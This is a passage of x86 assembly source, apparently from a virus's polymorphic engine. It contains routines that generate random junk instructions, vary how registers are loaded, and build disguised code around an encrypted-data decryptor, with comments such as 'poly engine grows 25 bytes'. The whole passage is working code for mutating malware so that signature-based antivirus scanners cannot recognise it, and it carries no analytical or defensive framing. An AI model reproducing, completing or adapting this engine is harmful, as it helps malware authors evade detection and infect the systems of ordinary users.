iBlockJunkAR:                            ; avoid register in ebx
                test  byte ptr [ebp.nojunk-idelta], 0FFh
                jz    bj_sueder
                ret
bj_sueder:
                pushad
                push  BJ_BLOCKCNT        ; choose between multiple methods
                call  rnd32r
                mov   edx, [ebp.bj_blockz-idelta+4*eax] ; get address of
                add   edx, ebp           ; method procedure & relocate
bj_nxtr:        call  iGetJunkReg        ; get a junk reg
                cmp   al, bl             ; test if we shouldn't touch it
                je    bj_nxtr            ; yes, get another junk reg
                xchg  ebx, eax           ; junk reg in EAX
                call  edx                ; execute method
                mov   [esp], edi
                popad
                ret

                ; junk block 1:
                ; 1. <compare/sub register/memory with constant>
                ; 2. <conditional jump to 4.>
                ; 3. <2 - 4 junk instructions>
                ; 4.
bj_block1:      push  ebx                ; save register 4 l8er use
                mov   dh, bl
                mov   bl, OPTYPE_SUB
                call  rnd32              ; get random number
                and   al, 02h            ; 0/2
                add   bl, al             ; OPTYPE_SUB + 2 = OPTYPE_CMP
                call  rnd32
                and   al, 01h
                mov   dl, al             ; dl = 0/1 (reg/junk)
                test  dl, dl
                jz    bj_b1_nreg1
                call  rnd32
                and   al, REG_EDI        ; 00000xxx random reg
                xor   al, MOD_REG        ; 11000xxx set reg bits
                xchg  eax, ecx
                jmp   bj_b1_nmem1
bj_b1_nreg1:    call  iGetMemory         ; get readable memory
bj_b1_nmem1:    cmp   bl, OPTYPE_SUB     ; if not SUB, get read only
                jnz   bj_b1_nro          ; register or memory
                test  dl, dl
                jz    bj_b1_nreg2
                mov   cl, dh             ; writeable register
                xor   ecx, 0FFFFFF00h xor MOD_REG
                jmp   bj_b1_nro
bj_b1_nreg2:    call  iGetWrMem
bj_b1_nro:      mov   al, bl
                xor   al, MOD_REG
                test  al, MOD_REG
                jz    bj_b1_regalign
                call  iOpSizeMem
                jmp   bj_b1_blah
bj_b1_regalign: call  iOpSizeReg
bj_b1_blah:     push  eax
                call  rnd32
                xchg  eax, edx
                call  rnd32
                test  al, 01h
                jz    bj_b1_akldf
                movsx edx, dl
bj_b1_akldf:    pop   eax
                call  ciOpRMImm
                pop   ebx
                call  rnd32
                and   al, 0Fh            ; get random conditional jump type
                xor   al, JMPC_SHORT     ; make jump opcode
                stosb                    ; store it
                push  edi                ; push address of immediate
                stosb                    ; store placeholder byte
                call  iRndJunk           ; make some junk
                pop   eax
                not   eax
                lea   ebx, [edi+eax]     ; relative address
                not   eax
                mov   [eax], bl          ; store relative jump address
                ret
                ; junk block 2:
                ; 1. <push junk>
                ; 2. <2 - 4 junk instructions>
                ; 3. <pop junk>
bj_block2:      call  iPushJunk
                call  iRndJunk           ; make some junk
                jmp   iPopJunk

bj_block3:      call  rnd32              ; generate STC/CLC/STD/CLD
                and   al, 05h
                xor   al, 0F8h
                stosb
                jmp   iRndJunk

bj_blockz       equ   $
                dd    offset bj_block1 - idelta
                dd    offset bj_block2 - idelta
                dd    offset bj_block3 - idelta
                dd    offset iRndJunk - idelta
                dd    offset iRndJunk - idelta
BJ_BLOCKCNT     equ   05h
iBlockJunk      endp

                ; writes two to four random junk instruction (reg or mem)
iRndJunk        proc
                pushad
                push  03h
                call  rnd32r
                inc   eax
                inc   eax
                xchg  eax, ecx
rndj_loop:      push  JUNKGEN_CNT
                call  rnd32r
                mov   eax, [ebp.JunkGen-idelta+4*eax]
                add   eax, ebp
                push  ecx
                push  ebx
                call  eax
                pop   ebx
                pop   ecx
                loop  rndj_loop
                mov   [esp], edi
                popad
                ret
iRndJunk        endp
; generates one junk instruction with the register in ebx (the register
; isn't overwritten some times)
; ebx = register
iRegJunk        proc
                push  RJ_METHCNT
                call  rnd32r
                mov   ecx, [ebp.rj_methods-idelta+4*eax]
                add   ecx, ebp
                call  iOpSizeReg
                jmp   ecx

                ; method 1: immediate operation on register
rj_meth1:       push  eax
                mov   ecx, ebx
                xor   ecx, 0FFFFFF00h xor MOD_REG
                push  OPTYPE_MOV + 3
                call  rnd32r
                cmp   al, OPTYPE_MOV + 1
                jb    rj_m1_nmov
                mov   al, OPTYPE_MOV
rj_m1_nmov:
                xchg  eax, ebx
                call  rnd32
                xchg  eax, edx
                call  rnd32
                test  al, 0Ch
                jz    rj_m1_nsx
                movsx edx, dl
rj_m1_nsx:      pop   eax
rj_m1_nrc:      jmp   ciOpRMImm

                ; method 2: operation with mem on register
rj_meth2:       push  eax
                call  iGetMemory
                push  OPTYPE_MOV + 3    ; we don't want to XCHG
                call  rnd32r            ; get random operation type
                cmp   al, OPTYPE_MOV + 1
                jb    rj_m2_nmov
                mov   al, OPTYPE_MOV
rj_m2_nmov:
                mov   bh, al
                pop   eax
                mov   ah, REG_MEM
                jmp   ciOpRMReg

                ; method 3: operation with reg on register
rj_meth3:
                push  eax
rj_m3_asd:      call  rnd32
                and   al, REG_EDI
                cmp   al, bl
                je    rj_m3_asd
                xor   al, MOD_REG
                xor   bl, MOD_REG
                xchg  eax, ecx
                call  rnd32
                and   al, 01h
                jnz   rj_m3_nxchg
                xchg  bl, cl
rj_m3_nxchg:    xchg  eax, edx
                push  OPTYPE_MOV + 3
                call  rnd32r
                cmp   al, OPTYPE_MOV + 1
                jb    rj_m3_nmov
                mov   al, OPTYPE_MOV
rj_m3_nmov:     mov   bh, al
                pop   eax
                mov   ah, dl
                jmp   ciOpRMReg

                ; method 4: shift register
rj_meth4:       xchg  eax, ebx
                or    al, MOD_REG
                xchg  eax, ecx
                push  ebx
                push  RND_SHIFT
                call  rnd32r
                xchg  eax, ebx
                push  SHIFT_RND
                call  rnd32r
                mov   bh, al
                call  rnd32
                and   al, 1Fh
                xchg  eax, edx
                pop   eax
                cmp   al, OPSIZE_16
                jne   rj_m4_blah1
                and   dl, 0Fh
rj_m4_blah1:    cmp   al, OPSIZE_8
                jne   rj_m4_blah2
                and   dl, 07h
rj_m4_blah2:
                mov   ah, dl
                jmp   ciShiftRM

                ; method 5: movzx/movsx register, reg
rj_meth5:       test  al, al
                jnz   rj_m5_ok
                inc   eax
                and   bl, not 04h
rj_m5_ok:       mov   dl, MOVX_WORD xor MOVX_SX
                test  al, 02h
                jz    rj_m5_nprefix
                mov   byte ptr [edi], OPERAND_SIZE
                inc   edi
                mov   dl, MOVX_SX
rj_m5_nprefix:  mov   byte ptr [edi], ESC_2BYTE
                inc   edi
                call  rnd32
                and   al, dl
                xor   al, MOVX
                stosb
                call  rnd32
                and   al, REG_EDI
                shl   ebx, 03h
                xor   eax, ebx
                xor   al, MOD_REG
                stosb
                ret

                ; method 6: inc/dec register
rj_meth6:       push  eax
                call  rnd32
                and   al, 01h
                xchg  eax, edx          ; BL = 0 [INC] BL = 1 [DEC]
                pop   eax
                test  al, al
                jnz   rj_m6_n8
                mov   byte ptr [edi], INCDEC_GROUP
                inc   edi
                xchg  eax, edx
                shl   eax, 03h
                xor   al, MOD_REG
                xor   al, bl
                stosb
                ret

rj_m6_n8:       test  al, 02h
                jz    rj_m6_noprefix
                mov   byte ptr [edi], OPERAND_SIZE
                inc   edi
rj_m6_noprefix: xchg  eax, edx
                shl   eax, 03h
                xor   al, INC_REG
                xor   al, bl
                stosb
                ret

rj_methods      equ   $
                dd    offset rj_meth1 - idelta
                dd    offset rj_meth2 - idelta
                dd    offset rj_meth3 - idelta
                dd    offset rj_meth4 - idelta
                dd    offset rj_meth5 - idelta
                dd    offset rj_meth6 - idelta
RJ_METHCNT      equ   06h
iRegJunk        endp

; write 2 - 4 register junk instructions
iRndRegJ        proc
                pushad
                push  03h
                call  rnd32r
                inc   eax
                inc   eax
                xchg  eax, ecx
                call  iGetJunkReg
                xchg  eax, ebx
irrj_loop:      push  ecx ebx
                call  iRegJunk
                pop   ebx ecx
                loop  irrj_loop
                mov   [esp], edi
                popad
                ret
iRndRegJ        endp

; memory junk generator
iMemJunk        proc
                push  MJ_METHCNT
                call  rnd32r
                mov   edx, [ebp.mj_methods-idelta+4*eax]
                add   edx, ebp
                push  OPSIZE_16 + 1
                call  rnd32r
                call  iGetWrMem
                jmp   edx

                ; immediate operation on memory
mj_meth1:       push  eax
                push  OPTYPE_MOV + 3
                call  rnd32r
                cmp   al, OPTYPE_MOV + 1
                jb    mj_m1_nmov
                mov   al, OPTYPE_MOV
mj_m1_nmov:     xchg  eax, ebx
                call  rnd32
                xchg  eax, edx
                call  rnd32
                test  al, 0Ch
                jz    mj_m1_nsx
                movsx edx, dl
mj_m1_nsx:      pop   eax
mj_m1_nrc:      jmp   ciOpRMImm

                ; register operation on memory

mj_meth2:       push  eax
                push  OPTYPE_MOV + 3
                call  rnd32r
                cmp   al, OPTYPE_MOV + 1
                jb    mj_m2_nmov
                mov   al, OPTYPE_MOV
mj_m2_nmov:     mov   bh, al

                call  rnd32
                test  ah, 01h
                jz    mj_m2_rndreg
                and   al, REG_EDI
                mov   bl, al
mj_m2_rndreg:   pop   eax
                xor   ah, ah    ; MEM_REG
                jmp   ciOpRMReg

                ; shift operation on memory
mj_meth3:       push  eax
                push  RND_SHIFT
                call  rnd32r
                xchg  ebx, eax
                push  SHIFT_RND
                call  rnd32r
                mov   bh, al
                call  rnd32
                xchg  eax, edx
                pop   eax
                mov   ah, dl
                jmp   ciShiftRM

mj_methods      equ   $
                dd    offset mj_meth1 - idelta
                dd    offset mj_meth2 - idelta
                dd    offset mj_meth3 - idelta
MJ_METHCNT      equ   03h
iMemJunk        endp
; input: bl = register
; output: al = operand size, bl = register
iOpSizeReg      proc
                push  OPSIZE_16 + 1
                call  rnd32r
                test  al, al
                jnz   cr_nop
                cmp   bl, REG_ESP
                jnb   iOpSizeReg
                push  eax
                call  rnd32
                and   al, 04h
                xor   bl, al
                pop   eax
cr_nop:         ret
iOpSizeReg      endp
; input: cx, esi = memory
; output: al = operand size, cx, esi = memory
iOpSizeMem      proc
                push  OPSIZE_16 + 1
                call  rnd32r
                ret
iOpSizeMem      endp

; gets random register, parameter or junk memory operand
iGetMemory      proc
                push  eax
gm_rep:         xor   eax, eax
                mov   al, GM_METHCNT2
                cmp   byte ptr [ebp.CurrentProc-idelta], DECRYPT_DATA
                jb    gm_push
                inc   eax
                inc   eax
gm_push:        sub   al, [ebp.InLoop-idelta]
                push  eax
                call  rnd32r
                add   al, [ebp.InLoop-idelta]
                mov   eax, [ebp.gm_methods-idelta+4*eax]
                add   eax, ebp
                call  eax
                pop   eax
                ret

                ; get random parameter
gm_meth1:       movzx eax, byte ptr [ebp.CurrentProc-idelta]
                mov   al, [ebp.ProcParameters-idelta+eax] ; parameter count
                test  eax, eax
                jz    gm_m1_ebp    ; if no parameter, don't use this method
                push  eax
                call  rnd32r       ; choose random parameter
                shl   eax, 02h     ; scale to dword
                add   al, 08h      ; first dword is return address
                mov   esi, eax     ; the displacement
                mov   cx, REG_EBP  ; relative to EBP
                ret
gm_m1_ebp:      mov   cl, REG_EBP xor MOD_REG
                ret

                ; get random junk mem
gm_meth2:       mov   eax, [ebp.JunkSpSize-idelta] ; access a random dword
                shl   eax, 02h
                dec   eax
                dec   eax
                dec   eax
                push  eax
                call  rnd32r                      ; from junk memory
                add   eax, [ebp.JunkSpRVA-idelta] ; add start rva
                xchg  eax, esi
                mov   cx, MOD_DIRECT              ; return a direct address
                ret

                ; get random encrypted data
gm_meth3:       mov   eax, [ebp.CryptSize-idelta]
                shl   eax, 02h
                dec   eax
                dec   eax
                dec   eax
                push  eax
                call  rnd32r
                add   eax, [ebp.DecryptRVA-idelta]
                xchg  eax, esi
                mov   cx, MOD_DIRECT
                ret

                ; get encrypted data (RVA + 1/2/4*counter)
gm_meth4:       mov   esi, [ebp.DecryptRVA-idelta]
                push  03h                   ; scaling factor 1, 2 or 4
                call  rnd32r
                mov   ecx, eax
                push  edx
                xor   edx, edx
                inc   edx
                shl   edx, cl
                sub   esi, edx
                pop   edx
                shl   eax, 03h
                xor   al, [ebp.creg-idelta]
                mov   ch, al
                mov   cl, MOD_DIRECT
                ret

                ; get current encrypted dword
gm_meth5:       movsx cx, byte ptr [ebp.preg-idelta]  ; use [preg] without
                xor   esi, esi                        ; displacement
                ret

gm_methods      equ   $
                dd    offset gm_meth1 - idelta
                dd    offset gm_meth2 - idelta
GM_METHCNT3     equ   02h
                dd    offset gm_meth3 - idelta
GM_METHCNT2     equ   03h
                dd    offset gm_meth4 - idelta
                dd    offset gm_meth5 - idelta
GM_METHCNT1     equ   05h
iGetMemory      endp

iGetWrMem       proc
                push  eax
                push  GM_METHCNT3 - 1
                call  rnd32r
                mov   eax, [ebp.gm_methods-idelta+4+4*eax]
                add   eax, ebp
                call  eax
                pop   eax
                ret
iGetWrMem       endp


iGetPar         proc
                ret
iGetPar         endp

; common junk procedures

iGetJunkReg     proc
                push  03h
                call  rnd32r
                movzx eax, byte ptr [ebp.junkreg1-idelta+eax]
                ret
iGetJunkReg     endp

iPushJunk       proc
                pushad
                push  PP_METHCNT                ; random method to push
                call  rnd32r                    ; a parameter
                mov   eax, [ebp.pp_methods-idelta+4*eax]
                add   eax, ebp
                call  eax                       ; call da method
                mov   [esp], edi
                popad
                ret

                ; push 8-bit immediate sign 'xtended to 32-bit
pp_meth1:       mov   al, PUSH_IMM_SX
                stosb
                call  rnd32
                stosb
                ret

                ; push 32-bit immediate
pp_meth2:       mov   al, PUSH_IMM
                stosb
                call  rnd32
                xchg  eax, edx
                call  rnd32
                and   eax, edx
                stosd
                ret

                ; push register
pp_meth4:       call  rnd32
                and   al, REG_EDI
                xor   al, PUSH_REG
                stosb
                ret

                ; push memory
pp_meth3:       call  iGetMemory
                mov   al, OP_GROUP5
                stosb
                mov   bl, P_PUSH
                jmp   ciCreateOperand


pp_methods      equ   $
                dd    offset pp_meth1 - idelta
                dd    offset pp_meth2 - idelta
                dd    offset pp_meth3 - idelta
                dd    offset pp_meth4 - idelta
                dd    offset pp_meth4 - idelta
PP_METHCNT      equ   05h
iPushJunk       endp

iPopJunk        proc
                call  rnd32
                test  al, 01h
                jz    pj_asdfklj
                mov   al, POP_REG
                xor   eax, ebx
                stosb
                ret

pj_asdfklj:     test  al, 02h
                jz    pj_blahblah
                call  iGetWrMem
                mov   al, POP_MEM
                stosb
                xor   bl, bl
                jmp   ciCreateOperand

pj_blahblah:    push  04h
                pop   edx
                xor   bl, bl
                test  al, 04h
                jz    pj_sueder
                add   bl, OPTYPE_SUB
                neg   edx
pj_sueder:      mov   al, OPSIZE_32
                mov   cl, REG_ESP xor MOD_REG
                xor   ch, ch
                call  ciOpRMImm
                ret
iPopJunk        endp
; returns random dword (0..4294967295)
rnd32           proc; [no parameterz]
                push  ecx
                push  edx
                mov   eax, [ebp.RandomSeed-idelta] ; load random seed
                mov   ecx, eax
                mov   edx, eax
                not   ecx
                and   ecx, 03h          ; loop 8-64 times
                inc   ecx
                shl   ecx, 03h
rnd32_loop:     push  ecx
                mov   ecx, edx
                ror   eax, cl
                neg   eax
                rol   edx, cl
                dec   edx
                pop   ecx
rnd32_blah:     loop  rnd32_loop
                xor   eax, edx
                mov   [ebp.RandomSeed-idelta], eax ; write back random seed
                pop   edx
                pop   ecx
                ret
rnd32           endp

; returns random dword (0..[esp+4])
rnd32r          proc; [range]
                push  ecx
                push  edx
                mov   ecx, [esp+2*4+4]
                call  rnd32
                xor   edx, edx
                div   ecx
                xchg  eax, edx
                pop   edx
                pop   ecx
                ret   04h
rnd32r          endp

; 'xchanges n bytes from address ESI (n has to be pushed)
MixBytes        proc; [count] [esi = ptr]
                pushad                    ; preserve all registers
                mov   ebx, [esp.PUSHAD_SIZE+04h]
                mov   ecx, ebx
                shl   ecx, 01h            ; loop counter (2 * # of bytes)

xb_loop:        push  ebx                 ; number of bytes
                call  rnd32r              ; get first byte offset
                xchg  eax, edx
                push  ebx
                call  rnd32r              ; get second byte offset
                push  ebx                 ; preserve number
                mov   bl, [esi+eax]
                xchg  [esi+edx], bl       ; exchange bytes
                mov   [esi+eax], bl
                pop   ebx
                loop  xb_loop
                popad
                ret   04h
MixBytes        endp

; writes 1 to 4 random bytes
WriteJunk       proc
                push  eax
                push  ecx
                push  04h                 ; get random value 0..3
                call  rnd32r
                inc   eax                 ; +1 (1..4)
                xchg  ecx, eax            ; load into counter
wj_loop:        call  rnd32               ; get a random byte
                stosb                     ; store it
                loop  wj_loop
                pop   ecx
                pop   eax
                ret
WriteJunk       endp

; returns reg if it is a junk reg, otherwise -1
iIsJReg         proc
                mov   eax, [esp.04h]
                cmp   [ebp.junkreg1-idelta], al
                je    is_junkreg
                cmp   [ebp.junkreg2-idelta], al
                je    is_junkreg
                cmp   [ebp.junkreg3-idelta], al
                je    is_junkreg
                xor   eax, eax
                dec   eax
is_junkreg:     ret   04h
iIsJReg         endp

; generates TEST reg, reg/OR reg, reg/AND reg, reg
gCheckReg       proc
                ; generate MOD/RM byte with MOD_REG flag and twice the same
                ; register.
                pushad
                mov   al, bl
                xor   al, MOD_REG               ; use as register
                mov   cl, al
                xchg  eax, ebx

                mov   bh, OPTYPE_OR
                push  05h
                call  rnd32r                    ; get random value
                cmp   al, 03h
                jae   gcr_zer0
                test  al, 02h
                jz    gcr_and2
                mov   bh, OPTYPE_AND
gcr_and2:       test  al, 01h
                jz    gcr_not_test
                mov   bh, OPTYPE_TEST
gcr_not_test:   call  rnd32
                and   ah, REG_MEM               ; random direction
                mov   al, OPSIZE_32
                call  ciOpRMReg
gcr_exit2:      mov   [esp], edi
                popad
                ret
gcr_zer0:       call  rnd32
                and   al, OPTYPE_CMP
                cmp   al, OPTYPE_ADC
                jb    gcrz_1
                cmp   al, OPTYPE_AND
                jna   gcr_zer0
gcrz_1:         xchg  eax, ebx
                xor   edx, edx
                mov   al, OPSIZE_32
                call  ciOpRMImm
                jmp   gcr_exit2
gCheckReg       endp
; generates SUB reg, reg/XOR reg, reg/AND reg, 0
gClearReg       proc
                ; generate MOD/RM byte with MOD_REG flag and twice the same
                ; register.
                pushad
                mov   al, bl
                shl   al, 03h                   ; shift to REG field
                xor   al, bl                    ; write RM field
                xor   al, MOD_REG               ; use as register
                xchg  eax, ebx

                ; generate either a SUB reg, reg or XOR reg, reg
                mov   cl, MATH_SUB or OPSIZE_32
                push  03h
                call  rnd32r                    ; get random value
                test  al, 02h
                jnz   gcr_and
                test  al, 01h
                jz    gcr_not_sub
                mov   cl, MATH_XOR or OPSIZE_32
gcr_not_sub:    and   al, REG_MEM               ; random direction
                or    eax, ecx                  ; create opcode
                stosb                           ; store opcode
                xchg  eax, ebx                  ; MOD/RM byte
                stosb                           ; store
gcr_exit:       mov   [esp], edi
                popad
                ret
gcr_and:        xchg  eax, ebx
                and   al, MOD_REG xor REG_EDI
                xchg  eax, ecx
                mov   bl, OPTYPE_AND
                mov   al, OPSIZE_32
                xor   edx, edx
                call  ciOpRMImm
                jmp   gcr_exit
gClearReg       endp

; loads reg (EBX) with immediate value (EDX)
gLoadReg        proc
                mov   eax, edx
                shr   eax, 0Fh
                jnz   glr_notword

                push  03h          ; the value is 0..32767,
                call  rnd32r       ; so we can choose
                sub   al, 01h
                adc   al, 00h
glr_shift_sx:   shl   eax, 03h     ; MOVX_SX or MOVX_ZX

glr_word_val:   test  al, al
                jnz   glr_not_zx
                push  02h
                call  rnd32r
                test  eax, eax
                jz    glr_not_zx

                call  gClearReg

                push  05h                         ; ADD/OR/SUB/XOR
                call  rnd32r
                cmp   al, OPTYPE_OR
                jbe   glr_1
                add   al, OPTYPE_SUB - OPTYPE_ADC ; SUB/XOR
glr_1:          cmp   al, OPTYPE_SUB
                jne   glr_ns
                neg   edx
glr_ns:         cmp   al, OPTYPE_CMP
                jne   glr_asdf
                inc   eax
glr_asdf:       xchg  eax, ebx
                xor   al, MOD_REG
                xchg  eax, ecx
                mov   al, OPSIZE_16
                jmp   ciOpRMImm

glr_not_zx:     push  eax
                call  iGetJunkReg
                xchg  eax, ecx
                call  rnd32
                test  al, 03h      ; chance of 1:4 to use same register
                jnz   glr_blah1
                mov   ecx, ebx
glr_blah1:      mov   al, OPSIZE_16
                push  ebx
                mov   bl, OPTYPE_MOV
                xor   ecx, 0FFFFFF00h xor MOD_REG
                call  ciOpRMImm
                pop   ebx
                and   ecx, REG_EDI
                xchg  ecx, ebx
                call  iBlockJunkAR

                pop   eax
                mov   ah, ESC_2BYTE
                xor   al, MOVX xor MOVX_WORD
                xchg  ah, al
                stosw
                xchg  ecx, ebx
                xor   ecx, 0FFFFFF00h xor MOD_REG
                jmp   ciCreateOperand

glr_notword:    inc   eax
                shr   eax, 11h     ; if not zero, value is a negative word
                jnz   glr_shift_sx ; we must use MOVSX

                mov   eax, edx
                shr   eax, 10h     ; if zero, only first 16 bits are used
                jz    glr_word_val ; we must use MOVZX

                push  GLR_METHCNT       ; choose between some methods
                call  rnd32r
                mov   eax, [ebp.glr_methods-idelta+eax*4] ; load method
                add   eax, ebp          ; relocate pointer to subroutine
                jmp   eax               ; jump to method.

                ; method 1: mov reg, imm
glr_meth1:      xchg  eax, ebx                  ; get register
                xor   al, MOV_REG_IMM32         ; add opcode
                stosb                           ; store opcode
                xchg  eax, edx                  ; get immediate
                stosd                           ; store immediate
                ret

                ; method 2: clear reg; add/or/sub/xor reg, imm
glr_meth2:      call  gClearReg                   ; clear the register
                push  04h                         ; ADD/OR/SUB/XOR
                call  rnd32r
                cmp   al, OPTYPE_OR
                jbe   glr_m2_1
                add   al, OPTYPE_SUB - OPTYPE_ADC ; SUB/XOR
glr_m2_1:       cmp   al, OPTYPE_SUB
                jne   glr_m2_ns
                neg   edx
glr_m2_ns:      call  iBlockJunkAR
                xchg  eax, ebx
                or    al, MOD_REG               ; register
                xchg  eax, ecx
                mov   al, OPSIZE_32             ; 32-bit operand
                jmp   ciOpRMImm

                ; method 3: mov reg, rnd;
                ;           sub/add/xor reg, imm add/sub/xor rnd
glr_meth3:      mov   al, MOV_REG_IMM32         ; mov reg, imm32 opcode
                xor   eax, ebx                  ; add register
                stosb                           ; store it
                call  rnd32                     ; get a random dword
                stosd                           ; store it
                xchg  eax, edx                  ; random value
                xchg  eax, ecx                  ; immediate
                call  iBlockJunkAR              ; generate junk block
                push  03h                       ; add, sub, xor
                call  rnd32r
                test  eax, eax                  ; add?
                jz    glr_m3_1
                add   al, OPTYPE_SUB - 1        ; no, sub/xor
glr_m3_1:       test  eax, eax
                jnz   glr_m3_2
                neg   edx
                add   edx, ecx                  ; - random + immediate
glr_m3_2:       cmp   al, OPTYPE_SUB
                jnz   glr_m3_3
                sub   edx, ecx                  ; random - immediate
glr_m3_3:       cmp   al, OPTYPE_XOR
                jnz   glr_m3_4
                xor   edx, ecx                  ; random xor immediate
glr_m3_4:       xchg  eax, ebx
                or    al, MOD_REG
                xchg  eax, ecx
                mov   al, OPSIZE_32
                jmp   ciOpRMImm

                ; method 4: mov reg, imm ror/rol rnd;
                ;           ror/rol reg, rnd
glr_meth4:      call  rnd32
                and   al, 1Fh
                jz    glr_meth4
                xchg  eax, ecx
                xchg  eax, edx
                push  ebx
                mov   bl, ROL_SHIFT
                test  ch, 01h
                jz    glr_m4_rol
                rol   eax, cl
                inc   ebx
                jmp   glr_m4_ror
glr_m4_rol:     ror   eax, cl
glr_m4_ror:     xchg  dl, cl
                pop   ecx
                mov   byte ptr [edi], MOV_REG_IMM32
                xor   [edi], cl
                inc   edi
                stosd
                xchg  ah, dl
                xchg  ebx, ecx
                call  iBlockJunkAR
                xchg  ebx, ecx
                mov   al, OPSIZE_32
                mov   bh, SHIFT_IMM
                cmp   ah, 01h
                jnz   glr_m4_n1
                inc   bh
glr_m4_n1:      xor   ecx, 0FFFFFF00h xor MOD_REG
                jmp   ciShiftRM

glr_methods     equ   $
                dd    offset glr_meth1 - idelta
                dd    offset glr_meth2 - idelta
                dd    offset glr_meth3 - idelta
                dd    offset glr_meth4 - idelta
GLR_METHCNT     equ   04h
gLoadReg        endp
; relocates a long jump (32-bit displacement)
; [address of disp] points to the byte after the opcode
RelLongJmp      proc; [address], [address of disp]
                push  eax
                push  edi
                mov   eax, [esp.0Ch]        ; where to jump
                mov   edi, [esp.10h]        ; address of displacement
                neg   edi
                lea   eax, [eax+edi-04h]
                neg   edi
                stosd
                pop   edi
                pop   eax
                ret   08h
RelLongJmp      endp

ciShiftRM       proc
                pushad
                test  al, OPSIZE_16        ; check if 16-bit operand
                jz    ciSRno_prefix        ; no, we don't need a prefix
                mov   byte ptr [edi], 66h  ; write prefix
                inc   edi                  ; increment pointer
                dec   eax                  ; change operand size to 32-bit
ciSRno_prefix:  cmp   ah, 01h
                jnz   ciSRasdlkfj
                cmp   bh, SHIFT_IMM
                test  bh, bh
                jnz   ciSRasdlkfj
                mov   bh, SHIFT_1
ciSRasdlkfj:    test  bh, bh
                jz    ciSRt_imm         ; shift by immediate value
                test  bh, SHIFT_CL
                jz    ciSRt_1
                or    al, 02h
ciSRt_1:        or    al, 10h
ciSRt_imm:      or    al, OP_SHIFT
                stosb
                cmp   bl, SAR_SHIFT
                jnz   ciSRnot_sar
                inc   ebx
ciSRnot_sar:    mov   al, bh
                push  eax
                call  ciCreateOperand
                pop   eax
                test  al, SHIFT_1 or SHIFT_CL
                jnz   ciSRexit
                xchg  al, ah
                stosb
ciSRexit:       mov   [esp], edi
                popad
                ret
ciShiftRM       endp

ciOpRMReg       proc
                pushad
                cmp   al, OPSIZE_16         ; check if 16-bit operand
                jnz   ciORRno_prefix        ; no, we don't need a prefix
                mov   byte ptr [edi], 66h   ; write prefix
                inc   edi                   ; increment pointer
                dec   eax                   ; change operand size to 32-bit

ciORRno_prefix: cmp   bh, OPTYPE_TEST       ; check if TEST instruction
                jnz   ciORRlame1
                mov   bh, 090h              ; real opcode ROR 3
                xor   ah, ah                ; we can only use MEM_REG
ciORRlame1:     cmp   bh, OPTYPE_XCHG       ; check if XCHG instruction
                jnz   ciORRlame2
                mov   bh, 0D0h              ; real opcode ROR 3
                test  al, al                ; check if 8-bit operand
                jz    ciORRlame2            ; next 2 checkz are obsolete

                mov   dl, cl
                and   dl, MOD_REG
                cmp   dl, MOD_REG
                jnz   ciORRblah

                xchg  cl, bl
                test  cl, cl                 ; check if reg field is eax
                jz    ciORRxchgeax           ; yes, generate xchg eAX, ??
                xchg  bl, cl
                cmp   cl, REG_EAX or MOD_REG ; check if r/m field is eax
                jnz   ciORRlame2
ciORRxchgeax:   test  cl, MOD_DISP8
                jz    ciORRblah
                test  cl, MOD_DISP32
                jz    ciORRblah

                mov   al, bl                ; BL contains reg
                and   al, 3Fh               ; clear MOD_REG bits
                or    al, XCHG_EAX_REG      ; generate opcode
                stosb                       ; store opcode
                jmp   ciORRexit             ; done! we saved one byte, but
                                            ; poly engine grows 25 bytes :p
ciORRblah:
ciORRlame2:     cmp   bh, OPTYPE_MOV          ; check if MOV instruction
                jnz   ciORRlame3
                mov   bh, 011h                ; real opcode ROR 3
ciORRlame3:     shl   ah, 1
                or    al, ah                  ; operand size + direction
                rol   bh, 03h                 ; operation number ROL 3
                or    al, bh
                stosb                         ; store opcode
                call  ciCreateOperand         ; create R/M byte
ciORRexit:      mov   [esp], edi
                popad
                ret
ciOpRMReg       endp

ciOpRMImm       proc
                pushad
                push  edx
                mov   edx, eax
                cmp   al, OPSIZE_16        ; are we usin' 16-bit operands?
                jnz   ciORIno_prefix       ; no, we don't need a prefix.
                mov   byte ptr [edi], 66h  ; store prefix
                inc   edi
                dec   eax

                ; check for MOV operation

ciORIno_prefix: cmp   bl, OPTYPE_MOV         ; MOV operation?
                jnz   ciORInot_mov           ; no, check next

                ; check if operand is register

                push  eax                    ; push operand size.
                mov   eax, ecx
                xor   al, MOD_REG            ; invert MOD_??? bits
                test  al, MOD_REG            ; they aren't 00 now?
                jnz   ciORInot_reg           ; operand is not register
                pop   ecx                    ; pop operand size
                shl   cl, 03h                ; generate B0h or B8h opcode
                or    al, cl                 ; register OR operand size
                or    al, MOV_REG_IMM
                stosb                        ; store opcode
                jmp   ciORIwrite_imm         ; write immediate

                ; generate MOV mem, imm

ciORInot_reg:   pop   eax                    ; pop operand size
                or    al, MOV_MEM_IMM
                stosb
                xor   ebx, ebx
                jmp   ciORIcreate_rm

                ; Check for TEST operation

ciORInot_mov:   cmp   bl, OPTYPE_TEST        ; TEST operation?
                jnz   ciORInot_test          ; no, check next
                cmp   cl, REG_EAX or MOD_REG ; reg = EAX/AX/AL?
                jnz   ciORInot_eax1
                or    al, TEST_EAX_IMM       ; generate TEST eAX/AL, imm
                stosb
                jmp   ciORIwrite_imm

ciORInot_eax1:  or    al, OP_GROUP3          ; opcode for operation group 3
                stosb                        ; store
                xor   bl, bl                 ; TEST r/m, Ib/Iv
                jmp   ciORIcreate_rm

                ; check if EAX/AX/AL register.
                ; if yes, we can generate opcode by shifting left operation
                ; type by 03h, adding 04h and adding operand size.

ciORInot_test:
                ; if all above fails, generate operation from immediate
                ; group (group 1). opcode 80h or operand size.
                ; if it is a 32-bit immediate, we check if immediate value
                ; fits in byte (-128 <= immediate >= 127). we can save 3
                ; bytes that will be 000000h or FFFFFFh anyway. :-%

                push  edx
                or    al, OP_GROUP1
                test  al, OPSIZE_32
                jz    ciORIblah

                mov   edx, [esp + 04h]
                movsx edx, dl
                cmp   edx, [esp + 04h]
                jne   ciORIblah
                inc   eax
                and   byte ptr [esp], 00h
                inc   eax        ; use byte imm, sign extended to dword
ciORIblah:      jnz   ciORInot_eax2

                pop   edx
                cmp   cl, REG_EAX or MOD_REG ; register = EAX/AX/AL?
                jnz   ciORInot_eax3          ; nope, create operation
                                             ; from group 1 (immediate ops)
                shl   bl, 03h                ; operation type
                or    bl, USE_EAX            ; opcode ?4h or ?5h
                and   al, 01h
                or    al, bl                 ; add operand size
                stosb                        ; store opcode
                jmp   ciORIwrite_imm         ; write immediate value

ciORInot_eax2:
                pop   edx
ciORInot_eax3:  stosb
ciORIcreate_rm:
                call  ciCreateOperand
